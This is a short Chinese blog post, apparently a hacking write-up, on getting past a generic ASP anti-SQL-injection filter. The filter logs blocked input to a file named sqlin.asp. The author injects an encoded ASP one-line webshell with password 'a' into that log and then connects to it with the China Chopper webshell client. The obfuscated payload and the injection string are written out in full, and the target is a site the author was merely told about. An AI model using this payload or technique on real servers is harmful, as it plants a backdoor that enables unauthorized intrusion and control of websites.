今晚群里朋友叫看个站,有sql防注入,绕不过,但是有发现记录wrong的文件sqlin.asp

SQL通用防注入系统asp版 插一句话漏洞利用

既然做了记录,再查看了下它的记录文件

SQL通用防注入系统asp版 插一句话漏洞利用

于是想着构造个asp一句话写进去,前面几种没加密的都失败了,于是写了个加密的.

┼攠數畣整爠煥敵瑳∨≡┩愾           密码 a  (加密方式是: ANSI->Unicode)

提交 and 1= ┼攠數畣整爠煥敵瑳∨≡┩愾

SQL通用防注入系统asp版 插一句话漏洞利用

http://www.baidu.com/sqlin.asp   菜刀连接之,成功

SQL通用防注入系统asp版 插一句话漏洞利用

相关文章:

  • 2021-06-05
  • 2022-12-23
  • 2022-12-23
  • 2022-01-18
  • 2021-11-16
  • 2022-02-23
  • 2021-12-08
猜你喜欢
  • 2021-04-25
  • 2022-12-23
  • 2021-11-19
  • 2022-12-23
  • 2021-12-01
  • 2022-12-23
  • 2021-11-08
相关资源
相似解决方案